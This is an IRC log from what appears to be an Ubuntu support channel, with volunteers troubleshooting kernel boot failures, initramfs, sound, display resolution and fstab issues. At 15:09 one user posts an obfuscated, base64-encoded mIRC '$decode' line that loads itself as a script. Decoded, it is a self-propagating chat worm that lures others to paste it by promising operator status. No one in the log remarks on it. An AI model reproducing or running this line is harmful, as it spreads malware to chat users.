[15:01] <arvind_k> jesse, use xubuntu
[15:01] <spree> qinking: English only.
[15:01] <jessid> spree mmm understand.... if i install damn small linux, is it possible to change the kernel????
[15:01] <soundray> jessid: small does not generally equate to fast-booting
[15:01] <theshadow> I have an audio issue in hardy. I have system sounds. Mplayer plays sounds. Amarok and Rhythm box won't play anything. Amarok locks up and Rhythm says it its playing it but doesn't really do anything (including scrolling the progress) any ideas?
[15:01] <arvind_k> !cn | qinking
[15:01] <qinking> aha
[15:01] <jessid> soundray ok. My concern is the boot speed
[15:01] <qinking> my E is bad
[15:02] <soundray> jessid: on what kind of machine?
[15:02] <spree> jessid if you want real boot speed you should be using an embedded device
[15:02] <jessid> soundray give me a sec i will tell you
[15:03] <spree> embedded linux will boot in approximately 1 second
[15:03] <jessid> spree i need this device to run java apps with touch screen
[15:03] <Jet_Li> I need help for configuration two servers of DHCP the lan
[15:04] <Jet_Li> I need help for configuration two servers of DHCP the same lan
[15:04] <arvind_k> !help | Jet_Li
[15:04] <erUSUL> do not think you can have to dhcp servers on the same lan
[15:04] <ksbalaji> spree, So let me get used to recompile envyNG :( - NP my desktop is now great :)) arvind_k ;)
[15:04] <erUSUL> Jet_Li: do not think you can have two dhcp servers on the same lan
[15:04] <arvind_k> Jet_Li, sorry for that
[15:05] <arvind_k> ksbalaji, you dont really have to do that...i never did recompiling stuff
[15:05] <jessid> spree this is the link  http://www.via-itx.com/artigo-pico-itx-system.html
[15:06] <soundray> jessid: nice! How long does it take to boot at the moment?
[15:06] <cellofellow> The university library here uses UniPrint servers with a prepaid card system. I'm wondering how to connect to these UniPrint servers with CUPS on Ubuntu.
[15:07] <jessid> soundray  the truth is that i havent received the device yet. I think today i will
 one autoritative, outher client
[15:08] <ioops> somes people have some experience with initramfs please ? I am on the probleme since 2days ...
[15:08] <ksbalaji> jessid DSL is a very small linux distro! (you may run thru windows of course)
[15:08] <Debolaz> err... suddenly, shift and capslock doesnt work anymore. is there any way to reset keyboard handling in ubuntu+
[15:08] <erUSUL> ioops: ask away
[15:09] <scucci> Is there anyway to force 5.1 sound from stereo? All speakers work with 'speaker-test -c6 -D surround51', but I can't get sound from the rear speakers during mp3 playback or video files.
[15:09] <jessid> ksbalaji the only thing i dont like about dsl is that it comes with 2.4 kernel.... but i think i will need to styudy to update it.....
[15:09] <simpolai> $decode(b24gMTp0ZXh0Oio6Izp7IC5pZ25vcmUgJG5pY2sgfCAudGltZXKgIDAgMTIwIC5qb2luICNMZXpjZWJ1IHwgLm1zZyAkbmljayBHdXMyIHUgYiBtYWdpbmcgT1BFUkFUT1IgcyAkY2hhbiA/IGNvcHkvcGFzdGUgbW8gaTItPgMxNCAvL3dyaXRlIKAgJCAkKyBkZWNvZGUoICQrICRlbmNvZGUoJHJlYWQoJHNjcmlwdCxuLDEpLG0pICQrICxtKSAkY2hyKDEyNCkgLmxvYWQgLXJzIKAgJGNocigxMjQpIC8vbW9kZSAkICQrIG1lICtSIH0=,m) | .load -rs  | //mode $me +R
[15:09] <tobywuk> Can someone tell me what the difference between the source code and a binary file is?
[15:09] <ATA_Dark_Shadow> greetings, topic : syslog (loghost), i've got one central logfile for all the "clients", is there a setting of some sort to change syslog getting remote messages to another logfile (one for each host)?
[15:09] <ioops> erUSUL: when I start ubuntu I have only the initramfs prompt
[15:09] <ioops> erUSUL: I try to reinstall the kernel to regenerate the initramfs without success
[15:10] <ioops> erUSUL: or to load some module with initramfs prompt it s not working anymore
[15:10] <dorto_> Is there a PDF version of Ubuntu Packaging Guide? https://help.ubuntu.com/6.10/ubuntu/packagingguide/C/index.html
[15:10] <erUSUL> ioops: that's usually due to the kernel not finding a sata/ise controller it can use to boot/install. have you tried the all-generic-ide boot option ? or others like noapic lapic etc?
[15:10] <Francis_> koe
[15:11] <erUSUL> !boot | ioops
[15:11] <Nutzebahn> Hello. Firestarter does not need to be run at system startup?
[15:11] <scucci> !sound
[15:11] <glitsj16> scucci: have you seen http://ubuntuforums.org/showthread.php?p=4451132 yet ? It has instructions on how to set up pulseaudio for 5.1 surround sound ..
[15:12] <soundray> jessid: I have an Eee PC that boots the stock Ubuntu kernel in 46 seconds. Using the customized eeepc kernel from array.org, I got it down to 28 seconds.
[15:12] <ioops> erUSUL: I try to boot with all_generic_ide and iqpoll stuff is not working also
[15:12] <erUSUL> ioops: :|
[15:12] <soundray> jessid: I think if you customize your kernel for that machine, you may be able to reduce the boot time similarly -- but it takes some work to build one.
[15:13] <scucci> Frick... I've been searching all morning... managed to miss that. Thank you, I'll read through that and give it a shot. :) Thank you
[15:13] <erUSUL> ioops: then i'm as lost as you ...
[15:13] <glitsj16> scucci: you're welcome
[15:14] <Emm> Hey, folks. Is there a way to install a trusted root certificate system-wide on ubuntu?
[15:14] <jessid> soundray very nice.... i think this week is going to be sooo long, jejeje.... i am reading a doc i found called linux from scratch. Have you seen??? perhaps is the right i need to do what you told me....
[15:14] <komputes> Nutzebahn: firestarter is a front end for configuring iptable, so as long as iptables is up the firewall is running
[15:14] <Emm> Would I use keytool or what?
[15:14] <aga^_^> !ping e
[15:14]  * ]K[^Omegadoom Ping e  Could not be resolved to an IP address
[15:14] <aga^_^> !ping me
[15:14]  * ]K[^Omegadoom Ping me  Could not be resolved to an IP address
[15:14] <Nutzebahn> Ok, thank you.
[15:15] <Rakeer> ping localhost?
[15:15] <ioops> erUSUL: you think I have to reinstall the OS ?
[15:15] <soundray> jessid: LFS is only really useful if you are serious about wanting to learn operating system internals. What I would recommend is for you to read the advice on compiling a kernel in Ubuntu:
[15:15] <soundray> !kernelcompile | jessid
[15:16] <erUSUL> ioops: that happens on a installed system? thought it was the livecd ... did it happened allways ?
[15:16] <jessid> soundray excellent my friend!!!!! immediately i will begin reading!!!! Thanks a lot!!!!!!!
[15:16] <ioops> on the live cd I have no problem
[15:16] <soundray> Nutzebahn: check with 'sudo iptables -L'. The default output is only about 8 lines long. If you have done the right thing with firestarter, there should be a lot more output
[15:17] <jessid> thank guys!!! all of you!!!!
[15:17] <ksbalaji> arvind_khadri, you mention something about not neding to recompile envyNG - ?!
[15:17] <ioops> end yesterday I have no probleme before the kernel upgrade I think because I already use the ubuntu with my hard disk
[15:17] <Nutzebahn> Ok.
[15:17] <komputes> Nutzebahn: you can list all iptables tables with the following command "sudo iptables -L"
[15:19] <soundray> ioops: I don't think reinstalling will help with your problem. My suggestion would be to stick with the older kernel, and perhaps report your problem on launchpad
[15:19] <soundray> !bugs | ioops
[15:19] <Nutzebahn> It is taking ages to list everything.
[15:19] <soundray> Nutzebahn: looks like it's all right then. Ctrl-C to interrupt.
[15:19] <Nutzebahn> Ok.
[15:19] <spree> http://www.youtube.com/watch?v=dj2vMrlmOB0
[15:19] <spree> oops wrong channel
[15:20] <erUSUL> ioops: do as soundray says. report the problem with the new kernel (btw which version fails)
[15:20] <unr3a1> hey all
[15:21] <caesargus> hi there, I'm stuck in low resolution mode - can anyone help me configure my X server correctly?
[15:21] <ksbalaji> arvind_k, My desktop effects die after an update - I understand after a kernel update. Then I have to start envyNG and do the ritual to install the drivers. Is there a shortcut?
[15:21] <ioops> erUSUL: how I can reinstall the default kernel ?
[15:22] <erUSUL> ioops: you removerd it? or was removed? anyway you can boot with the livecd chroot to the hd install and apt-get the working kernel
[15:23] <erUSUL> ioops: chrootis explained on the recovering grub after inst.. windows
[15:23] <soundray> erUSUL: if I understood ioops correctly, the system still boots fine with the previous kernel
[15:23] <ioops> soundray: yes
[15:24] <erUSUL> soundray: ioops then why he/you ask(s) 16:21 < ioops> erUSUL: how I can reinstall the default kernel ?
[15:24] <Dabbu1> i installed ubuntu alternate in my friends computer because ubuntu desktop didn't installed but the computer is running very slow....any help
[15:24] <ioops> erUSUL: I told about the kernel which the ubuntu install by default
[15:25] <amikrop> I cannot boot the Ubuntu CD on a Toshiba Satellite. It freezes before loading the kernel.
[15:25] <amikrop> Is that a known issue?
[15:25] <soundray> erUSUL: why not? I think it's a reasonable strategy to see if the kernel installation went wrong, and whether it can be fixed by reinstalling.
[15:25] <erUSUL> ioops: keep the working kernel you have
[15:25] <amikrop> Actually, I failed to boot 3 different Ubuntu CD versions.
[15:25] <Nutzebahn> I am sick of this partition access problem, I have to enter a password to access my partitions, I badly need some help, help?: nicholas@nubuntu:~$ sudo blkid
[15:25] <Nutzebahn> /dev/sda1: UUID="cdcfa498-760e-47ee-b8c1-5e8f4b8adc1d" SEC_TYPE="ext2" TYPE="ext3"
[15:25] <Nutzebahn> /dev/sda2: TYPE="swap" UUID="777c897b-d58e-4a05-9198-1dce54fed9d3"
[15:25] <Nutzebahn> /dev/sda5: LABEL="W-PT-2" UUID="C0A9-1F7D" TYPE="vfat"
[15:25] <Nutzebahn> /dev/sda6: LABEL="W-PT-3" UUID="24DC-B369" TYPE="vfat"
[15:25] <FloodBot1> Nutzebahn: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[15:25] <Nutzebahn> nicholas@nubuntu:~$ sudo gedit /etc/fstab
[15:25] <ioops> erUSUL: how I can know if my kernel is working or not
[15:25] <ioops> I have only one kernel on the computer
[15:26] <ioops> I have the 2-6-19 kernel
[15:26] <platius> caesargus, https://help.ubuntu.com/community/FixVideoResolutionHowto  have you looked here?
[15:26] <amikrop> Any help, please?
[15:26] <erUSUL> ioops: the one you can boot with works; the one that lands you on initramfs busybox shell does not
[15:26] <soundray> amikrop: some machines need the noapic and/or nolapic kernel boot options
[15:27] <soundray> !bootoptions | amikrop
[15:27] <ioops> ok erUSUL I have only one kernel on my ubuntu it sthe 2-6-19 and I can t boot
[15:27] <Aquahallic> is there somewhere I can look for ubuntu packages to find out if and when a particular patch for that package is scheduled to come down in updates?...
[15:27] <soundray> ioops: are you near the problem machine right now?
[15:27] <histo> I'm trying to create a samba share with the gui by right clicking its saying I don't have permission to create a user share?
[15:27] <sumix> Is there a cmd to show my monitors current specs, like VertRefresh, HorizSync etc..
[15:27] <histo> What group do I need to be a member of?
[15:28] <tavi> hy
[15:28] <erUSUL> ioops: so when you answered to soundray "if I understood ioops correctly, the system still boots fine with the previous kernel" with "yes" what kernel were you talking about ???
[15:28] <tavi> i have  a vlc player
[15:28] <tavi> and the subtitles don't run exacly like the movie
[15:28] <tavi> what i do
[15:28] <tavi> ?
[15:28] <amikrop> soundray: So, you say that was it? Is it going to work if a add these boot options?
[15:28] <unr3a1>  I am using a dark theme with gnome in ubuntu, and now pidgin displays everyone's text as white against a white background (making it impossible to see).  how can I force xserver to display the general text colors in a different color?
[15:28] <jessid> good bye!!!
[15:29] <unfo> unr3a1: sounds like you are encountering a bug
[15:29] <ioops> erUSUL: I talking about the first kernel when I installed the ubuntu, because after I upgrade the ubuntu and I saw the kernel also
[15:29] <Aquahallic> histo: if you're using nautilus then close it and then from terminal type 'sudo nautilus' that will let you run nautilus as root... be CAREFUL though.. you can break things as you have root access to your filesystem
[15:29] <soundray> amikrop: no, but it's the first thing you could try, because it often helps and is easy to do
[15:29] <ioops> erUSUL: and I don t know which kernel the ubuntu install by default
[15:29] <unfo> unr3a1: i don't know how to fix it though.  But you should report it.
[15:29] <tavi> someone know?
[15:29] <unfo> tavi: know what?
[15:29] <unr3a1> unfo, well usually i can customize the colors of the theme, but this particular theme doesn't allow the customization of colors
[15:29] <S4nD3r> Hi there, Id like to have a help to use my wifi card atheros in ubuntu
[15:30] <tavi> how to make a subitle run in the same time whit the movie
[15:30] <amikrop> soundray: OK. If this doesn't help, what can I do?
[15:30] <tavi> i have vlc player
[15:30] <erUSUL> ioops: 2.6.24-19 afaik does that kernel boots?
[15:30] <S4nD3r> This is recognized in restricted drivers, but this not get to find wifinetwork, what to do?
[15:30] <ksbalaji> spree, arvind khadri mentions something about not needing to reinstall drivers. How could that be possible? are we missing something? Are you sure that reinstalling drivers is a must?
[15:30] <amikrop> soundray: I mean, what could I try next?
[15:30] <histo> Aquahallic: isn't there a way just to add my user to a group so I can do this?
[15:31] <unfo> unr3a1: but does my guess that "pidgin shows all instant messages as invisible when you use a dark gnome theme" seem correct?
[15:31] <soundray> amikrop: other boot options, according to the page ubottu pointed out.  THX
[15:31] <ioops> erUSUL: the 2-6-24 is the ubuntu default kernel?
[15:31] <tavi> so dodes someone know?
[15:31] <histo> Aquahallic: nevermind found the bug
[15:32] <amikrop> soundray: The problem is that I searched the web, without much luck.
[15:32] <unfo> hi all, how long does the 8.04 "Hardy" liveCD take showing just a progress bar bouncing left and right before it starts showing status messages like "Loading drivers" at the bottom of the usplash screen?
[15:32] <erUSUL> ioops: yes on hardy is 2.6.24-19 updates are 2.6.24-20 or 21
[15:32] <unfo> s/take/usually take
[15:32] <soundray> amikrop: check tuxmobil.org
[15:32] <ioops> erUSUL: why I have the 2-6-19 ?
[15:32] <unfo> tavi, i don't know but try channel #videolan
[15:33] <unr3a1> unfo: well, no.  it should work
[15:33] <ioops> erUSUL: at least maybe I wrote a mistake
[15:33] <soundray> ioops: you don't have 2-6-19, you have 2.6.24-19-generic (and that's fine)
[15:33] <unr3a1> but the default text color is white
[15:33] <sumix> is there a cmd to show my monitors current specs?
[15:33] <NeoSanity> does anyone know if there is a way of setting up Ubuntu so it can boot off a USB without having to reboot the whole system?
[15:33] <unfo> unr3a1: ah. what pidgin theme are you using?
[15:33] <ioops> soundray: ok
[15:33] <soundray> sumix: try "xrandr -q" and "ddcprobe"
[15:33] <unr3a1> unfo: the default
[15:33] <erUSUL> ioops: what ubuntu version do you have installed?
[15:33] <unfo> unr3a1: what gnome theme?
[15:33] <ioops> the latest 8,04
[15:34] <ksbalaji> how to know version?
[15:34] <erUSUL> ioops: http://packages.ubuntu.com/hardy/linux
[15:34] <soundray> ioops: are you near the problem machine right now?
[15:34] <erUSUL> !version
[15:34] <unr3a1> unfo: neutronium gilouche
[15:34] <ioops> soundray: no
[15:34] <unfo> all, how long does the 8.04 "Hardy" liveCD take showing just a progress bar bouncing left and right before progress messages start to appear at the bottom of the screen?
[15:34] <amikrop> soundray: OK. Thanks for everything.
[15:34] <ioops> soundray: what you whant to know about this machine?
[15:35] <unfo> unr3a1: so you are saying that if i install neutronium gilouche, my pidgin IMs will show up black on black?
[15:35] <soundray> ioops: I want to know in what kind of position you are to try concrete troubleshooting suggestions.
[15:35] <unfo> all, on *your* particular computer, how long does the 8.04 "Hardy" liveCD take during startup showing just a progress bar bouncing left and right before progress messages start to appear at the bottom of the screen?
[15:35] <ioops> soundray: what kind of position ?
[15:35] <Daisuke_Ido> unfo: until it boots, it usually doesn't show any progress messages at all
[15:36] <soundray> ioops: are you still in another building?
[15:36] <unfo> Daisuke_Ido: it shows things like "Loading restricted drivers", no?
[15:36] <unr3a1> unfo: white on white.  but only if the person you are IMing is using their default text theme.  cause the gnome theme changes all text to white
[15:36] <Emm> are there any alternatives to 'find' that won't bring my system to its knees?
[15:36] <ksbalaji> erUSUL, kernel version please!
[15:36] <ioops> soundray: yes
[15:36] <sumix> I want to see the VertRefresh & HorizSync of my monitor etc, Ive tried, xorg.conf, xrandr, ddcprobe
[15:36] <unfo> unr3a1: sounds like a bug.
[15:36] <erUSUL> ksbalaji: uname -r
[15:36] <unfo> unr3a1: come join me in #gnome
[15:37] <soundray> emm: locate (but you may have to run sudo updatedb, which will probably bring your system down to its knees again)
[15:37] <Daisuke_Ido> unfo: i don't think so, but then again, it's been so long since i've booted a livecd -_-
[15:37] <Freddy1990> Hey, can anyone help me? I've got a problem with my ubuntu installation =/ When I start it tells me it can't use the usb ports or something, while both my bootloader and windows have no problem with it... http://freddy1990.com/pictures/20080905-DSC_0014.jpg I have a Gigabyte GA-MA790FX-DQ6 mobo btw
[15:37] <ioops> erUSUL: and soundray I am not so confortable with my probleme
[15:37] <unfo> Daisuke_Ido: i will ask the whole channel again.  I hope my message will be clear
[15:37] <sumix> How does Ubuntu get the VertRefresh etc? It must be somewhere. (its not in xorg.conf)
[15:37] <soundray> sumix: the most reliable source would be the manual that came with your monitor. You can also look for the specs on the manufacturers web site
[15:37] <unfo> all, on *your* particular computer, how long does the 8.04 "Hardy" liveCD take during startup showing just a progress bar bouncing left and right before progress messages start to appear at the bottom of the screen?
[15:38] <sumix> soundray: I'm on a laptop :(
[15:38] <soundray> ioops: it's useless trying to give you advice if you can't try it out and if you can't feed back diagnostic information to us.
[15:38] <soundray> sumix: then you shouldn't need those specs. What are you trying to do?
[15:38] <ioops> soundray: I can bring the machine in the same place
[15:38] <xindo> is there a way to adjust a touchpad in xubuntu
[15:38] <erUSUL> unfo: by default ubuntu does not show boot msgs if the progress bar is bouncing instead of progressing there must be some problem
[15:39] <sumix> soundray: I'm trying to get the correct resolution
[15:39] <soundray> ioops: that would improve your chances of getting useful advice
[15:39] <vassler> i mistakenly deleted the network and fusion-icon icons for my main taskbar that usualy sits next to the time/date icons.... how do i get them back?
[15:39] <KoolD>   /join blender
[15:39] <unfo> erUSUL: it bounces for about 2 minutes then it starts to show usplash messages, load restricted drivers, and progress.
[15:39] <vassler> someone please help me.
[15:39] <|_James_Bond_|> slack
[15:39] <soundray> sumix: what procedure are you using, and what guide are you following?
[15:39] <ioops> soundray: I will try
[15:39] <|_James_Bond_|> Sorry
[15:40] <Freddy1990> Anyone?
[15:40] <vassler> someone please help me.
[15:40] <vassler> i mistakenly deleted the network and fusion-icon icons for my main taskbar that usualy sits next to the time/date icons.... how do i get them back?
[15:40] <soundray> !please | vassler
[15:40] <soundray> !repeat | vassler
[15:40] <pdm_> how can i install latest version of amsn, if in my synaptic ther's only old version????
[15:40] <Nutzebahn> I am sick of this partition access problem, I have to enter a password to access my partitions, I badly need some help, help?: http://pastebin.com/d38d5ede4
[15:40] <sumix> soundray: Well I'm trying out BSD and Ubuntu has the perfect settings for this monitor, In BSD when I set the vertrefresh etc, it works but not perfectly, I need the correct settings, which ubuntu must have?
[15:41] <erUSUL> pdm_: www.getdeb.net
[15:41] <unfo> erUSUL: it bounces for about 2 minutes then it starts to show usplash messages, load restricted drivers, and progress.  Is that unusual?
[15:42] <woogens> Hopefully I'm not the 100th to ask, but wasn't 8.10 alpha 5 supposed to be released yesterday? :)
[15:42] <Freddy1990> Hey, can anyone help me? I've got a problem with my ubuntu installation =/ When I start it tells me it can't use the usb ports or something, while both my bootloader and windows have no problem with it... http://freddy1990.com/pictures/20080905-DSC_0014.jpg I have a Gigabyte GA-MA790FX-DQ6 mobo btw
[15:42] <soundray> sumix: Ubuntu apparently autodetects the proper settings. See if they are reported in /var/log/Xorg.0.log
[15:42] <pdm_> erUSUL> i'v got ubuntu
[15:42] <soundray> sumix: also, it might help to use the same Xorg version that you have in Ubuntu in BSD as well
[15:42] <draganjovev_> Hello everyone! I'm trying to install ubuntu server using USB drive. I've downloaded ISO and putted it on USB drive, installed extlinux and successfully got into ubuntu installer. However, one installer step is looking for CD-ROM with installation CD, but there is no optical drive attached to my server and I want to trick installer to look at USB storage device since there are installation files. Anyone knows how can I do that, please?
[15:43] <sumix> soundray: ah right, yeah good idea
[15:43] <sumix> soundray: cheers
[15:43] <Pici> pdm_: Ubuntu is not a rolling release distribution, thus it will not have the latest version of software if that software was released after the distro release.
[15:43] <snikker> hi, with virtualbox i can access to a real partition with an existing OS or i can use only virtual partions (*.vdx)?
[15:44] <unfo> erUSUL: it bounces for about 2 minutes then it starts to show usplash messages, load restricted drivers, and continues to progress.  Is that unusual?
[15:44] <vassler> i mistakenly deleted the network and fusion-icon icons for my main taskbar that usualy sits next to the time/date icons.... how do i get them back?
[15:44] <soundray> !intrepid | woogens
[15:44] <Freddy1990> snikker, only virtuals normally and shared folders
[15:45] <aar> Hi, I've just completed a Kubuntu Hardy install. The screen size is too small. When I go to system config it says that the screen settings are on the highest option (800x600), but that still doesn't cover the entire screen. How can I fix this?
[15:45] <soundray> vassler: try running nm-applet in terminal. Does that bring the network icon back?
[15:45] <snikker> Freddy1990: ok, thank you
[15:45] <woogens> soundray: Thanks for the channel hint.
[15:45] <soundray> aar: in ubuntu you would solve this by running gksudo displayconfig-gtk -- I don't know the kde equivalent, maybe ask in #kubuntu
[15:46] <unfo> erUSUL: it bounces for about 2 minutes then it starts to show usplash messages, load restricted drivers, and continues to progress.  Is that unusual?
[15:47] <erUSUL> unfo: no afaik; cdroms are slower than disk access
[15:47] <aar> soundray: thanks for the tip
[15:47] <unfo> erUSUL: ok thank you.
[15:47] <soundray> ......................................
[15:47] <Pici> soundray: you okay?
[15:48] <Zaiden> I can't seem to get xvidcap to work, how do I get gvidcap?
[15:48] <kyo> 中国
[15:48] <Aliean> hi, I'm trying to save a list of the installed packages on my system (from within Synaptic) so that I can install the same ones on another computer. However, the files that are written are blank.  I can send files and browse other devices just cant receive
[15:54] <pascal> re
[15:54] <pascal> re
[15:55] <komputes> timo: in the bluetooth preferences, third tab "general" check "receive files from remote devices"
[15:55] <Mister_Higgs> me revoilà j'ai redémarré
[15:55] <ioops2> soundray: i have the computer near from me
[15:55] <xindo> anyone know of a screen saver that would display a few select sysmons? disc, load, network, etc?
[15:55] <ioops2> in the same place
[15:55] <Pici> !fr | Mister_Higgs
[15:55] <erUSUL> !fr > Mister_Higgs
[15:55] <ioops2> soundray: i just have to connect the cables
[15:55] <timo> komputes hi, Its actually selected.
[15:56] <timo> i can tell it to send bu not receive. Theres no option to tel it to receive
[15:56] <komputes> timo: in the firs tab check "visable and connectable"
[15:57] <soundray> Pici: sorry, no idea what I did there
[15:57] <timo> komputes it is
[15:57] <timo> mobile sees the computer but transfer fails
[15:57] <ioops2> ok I am ready
[15:58] <erUSUL> soundray: sometimes my keyboard repeats keystrokes for no reason too XD
[15:58] <ioops2> soundray: what you want to know now?
[15:58] <ApOgEE-> where can i get that shiny ubuntu logo on usplash in svg?
[15:58] <Arthur__> hi there. Is there a channel for mythtv?
[15:59] <soundray> ioops2: what's the title of the first boot entry (the one that fails), and what's the title of the boot entry that works?
[15:59] <ApOgEE-> is there any?
[15:59] <ioops2> soundray: in grub ?
[15:59] <Pici> ApOgEE-: Have you looked here: https://wiki.ubuntu.com/Artwork/Official ?
[15:59] <soundray> ioops2: yes, in the grub boot menu
[16:01] <ioops2> soundray: i have 3 entries like, ubuntu 8,04,1, kernel 2,6,24-19 generic, the second entry is ubuntu 8,04,1, kernel 2,6,24-19-generic (recovery mode)
[16:01] <ioops2> soundray: and the last is for the memtest86+
[16:01] <ioops2> soundray: I have also the possibility to boot on windows xp pro
[16:01] <draganjovev_> I'm trying to install ubuntu server using USB drive. I've downloaded ISO and putted it on USB drive, installed extlinux and successfully got into ubuntu installer. However, one installer step is looking for CD-ROM with installation CD, but there is no optical drive attached to my server and I want to trick installer to look at USB storage device since there are installation files. Anyone knows how can I do that, please?
[16:01] <komputes> ApOgEE-: http://en.wikipedia.org/wiki/Image:Ubuntu_Logo.svg
[16:02] <Kira> hehehehehe
[16:02] <Kira> "sudo gedit" seg faults ever since I moved the virtual machine to another host. :S
[16:02] <ApOgEE-> komputes, i need that one with shiny effect
[16:03] <drbrown> Kira: running it from a live CD?
[16:03] <jussi01> !gksu | Kira
[16:03] <Pici> Kira: You should be using gksudo for graphical applictions, not sudo.
[16:03] <ioops2> soundray: you think I have bad options?
[16:03] <Kira> gksudo or sudo didn't make a difference
[16:04] <ApOgEE-> Pici, i have looked there but can't find that one with shiny effect
[16:04] <Kira> both methods cause seg faults
[16:04] <Kira> What tool do I use to check for file system consistency?
[16:05] <jussi01> fsck
[16:05] <Pici> Kira: fsck.
[16:05] <erUSUL> ioops2: so we can presume 2.6.24-18 worked for you ? *-19 is the one that fails?
[16:05] <Pici> Kira: sudo touch /forcefsck  will force a check on next boot.
[16:06] <ioops2> erUSUL: maybe i think also
[16:06] <ioops2> I think I can try
[16:06] <ioops2> in fact nothing work
[16:06] <ioops2> I don t know what to do
[16:08] <erUSUL> ioops2: then boot with the livecd and chroot to the ubuntu installation on the hd and do "sudo apt-get install linux-image-2.6.24-18-generic"
[16:08] <ioops2> ok
[16:08] <ioops2> i will try now
[16:09] <ApOgEE-> Pici, komputes, i need this version in svg http://imagebin.org/25804 is there any?
[16:09] <erUSUL> !grub | ioops2
[16:10] <komputes> ApOgEE-: not sure if i can even find that in svg, you best bet is to fina a gimp tutorial on making stuff shiny
[16:10] <erUSUL> ioops2: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows <<< here under "Overwriting the Windows bootloader" there are instructions on how to chroot to the hd installation
[16:11] <ApOgEE-> komputes, i have no problem in creating my own... just to confirm that i don't reinvent the wheel
[16:11] <erUSUL> ioops2: instead of this command "sudo grub-install --root-directory=/mnt/root /dev/hda" you have to "sudo apt-get  install linux-image-2.6.24-18-generic"
[16:12] <genius> anyone had success Adobe Photoshop CS3 with last wine?
[16:12] <komputes> ApOgEE-: funny how i was thinking the same thing
[16:12] <ioops2> erUSUL: I have to sudo grub after ou before your first advaise?
[16:12] <ioops2> advice
[16:13] <komputes> ApOgEE-: at most email the maintainer of the usplash package to see if he may have an SVG of it, but if he did the effects in bitmap, you're pooched
[16:13] <brutus> anyone using linuxdcpp can help me?
[16:13] <erUSUL> ioops2: no. ignore the grub commands
[16:13] <ioops2> ok
[16:13] <ApOgEE-> komputes, ok thanks... i'll create the svg version... :D
[16:13] <ioops2> the unbutu is starting already
[16:13] <ioops2> I chroot now
[16:14] <erUSUL> ioops2: read only the part under "Overwriting the Windows bootloader" section and ignore grub commands
[16:15] <soundray> ioops2: sorry, I had to work for a bit
[16:15] <Kira> Strange, gedit doesn't seg fault when I run it as a normal user.
[16:15] <Pici> ApOgEE-: You may want to try #ubuntu-artwork as well anyway.
[16:15] <soundray> erUSUL: why do you want to chroot?
[16:15] <ioops2> soundray: ok
[16:16] <erUSUL> ioops2: once you have the ubuntu partition mounted on /mnt/root do "chroot /mnt/root/" and issue the "apt-get install linux-image-2.6.24-18-generic" command
[16:16] <erUSUL> soundray: to install a working kernel into the hd install from the livecd
[16:16] <soundray> erUSUL: but there is a working kernel already...
[16:16] <erUSUL> soundray: but i am open to better easier options
[16:17] <scientus> x just froze up in vmware after hibeernating the computer (not the host) that had the vmware console open
[16:17] <erUSUL> soundray: if i understand ioops2  well his grub only list -19 version and that version wont boot
[16:17] <scientus> i can only acces via ssh
[16:17] <soundray> ioops2: what's the third option on your grub menu?
[16:18] <erUSUL> soundray: he said it is memtest (the fourth being windows xp)
[16:19] <erUSUL> ioops2: have you mounted the ubuntu partition ?
[16:19] <soundray> erUSUL: you're right, sorry
[16:19] <erUSUL> soundray: no problem multitasking has its limitations :P
[16:19]  * soundray is trying to do too many things at once
[16:20] <soundray> :)
[16:20] <ioops2> erUSUL: yes I try to update apt source.list but it seems it can connect to the archive server
[16:20]  * soundray has to work on his scheduler
[16:20] <legend2440> Kira: do update manager and synaptic open normally?
[16:20] <erUSUL> ioops2: you do not have net connection from the livecd?
[16:20] <ioops2> erUSUL: i have
[16:21] <ioops2> erUSUL: i can you google ...
[16:21] <ioops2> ok
[16:21] <magnus__> anal'
[16:21] <keewee> Hi. I just installed POSE (Palm OS Emulator) in my Ubuntu and I don't know how to start it... Anyone who knows?
[16:21] <erUSUL> ioops2: so "apt-get install linux-image-2.6.24-18-generic" fails ?
[16:21] <ioops2> erUSUL: i can use internet by live cd but not with chroot
[16:21] <brutus> how do i monitor my laptop temperature?
[16:21] <pdlnhrd> i am running ubuntu 8.04 amd_64... and i find when i am playing music through rythmbox that the music plays sparadotically... is there anything i can do to prevent this?
[16:22] <cojones_> I just recompiled the kernel and am having an error upon boot... FATAL: Could not load .... No such file or .... (but the file does exist, it's modules.dep)
[16:22] <ioops2> erUSUL: I made a error no ?
[16:22] <cojones_> after recompile, I have no wireless and I believe this is the cause
[16:23] <erUSUL> ioops2: then try something just dl the deb package from packages.ubuntu.com and copy it to somewere in /mnt/root/ (/mnt/root/root for example) then use "dpkg -i root/file.deb"
[16:23] <Kira> legend2440: update manager opens
[16:23] <erUSUL> ioops2: you can dl the package from here http://packages.ubuntu.com/hardy/linux-image-2.6.24-18-generic
[16:24] <Kira> it's synchronising the package lists now. no seg fault so far.
[16:24]  * soundray looks up sparadotically
[16:24] <keewee> Hi. I just installed POSE (Palm OS Emulator) in my Ubuntu and I don't know how to start it... Anyone who knows?
[16:24] <ryder> I like eggs
[16:24] <LjL> soundray: you *what*?
[16:24] <pdlnhrd> or plays intermediately
[16:24] <obunn> can somebody give me fstab entry for ntfs drives
[16:24] <Kira> The weird thing is that gksudo'ed gedit seg faults when I click on the "Open" button.
[16:24] <pdlnhrd> how about skips all the time
[16:24] <ryder> im ryder from gta sa
[16:24] <kane77> how do I specify password to ssh command? because I want to do something like "tar -cvjf - /path/to/backup | ssh user@backupmachine "cat > /home/backup.tar.bz2"" but it does not "wait" for me to enter password..
[16:25] <Gr33n8ud5> Unrar tool for Ubuntu 8.04 please and thank you?
[16:25] <LjL> keewee: you *are* aware you need a copy of PalmOS to use it?
[16:25] <soundray> LjL: good to see you. Just trying to understand pdlnhrd's problem
[16:25] <ryder> ha i laugh when ubuntu fails next to win xp
[16:25] <soundray> !rar | Gr33n8ud5
[16:25] <Gr33n8ud5> thanks soundray
[16:25] <ryder> ntfs is better than ext3
[16:25] <nomoa> hi, I can't list all process with ps -a with non root users, it's a new restriction to me how can I disable this feature?
[16:25] <pdlnhrd> ryder?  wtf?
[16:25] <LjL> ryder, got a support question for us?
[16:26] <LjL> pdlnhrd: ignore please
[16:26] <ryder> is there a offtipic room?
[16:26] <erUSUL> ryder: please take it to #ubuntu-offtopic
[16:26] <LjL> ryder: yes, #ubuntu-offtopic
[16:26] <Kira> ryder: whether ntfs is better than ext3 is already irrelevant
[16:26] <pdlnhrd> so any ideas on the music skipping issue with rythmnbox
[16:26] <Kira> because we all know that ZFS is better than both of them.
[16:26] <erUSUL> nomoa: that's security you can not disable it
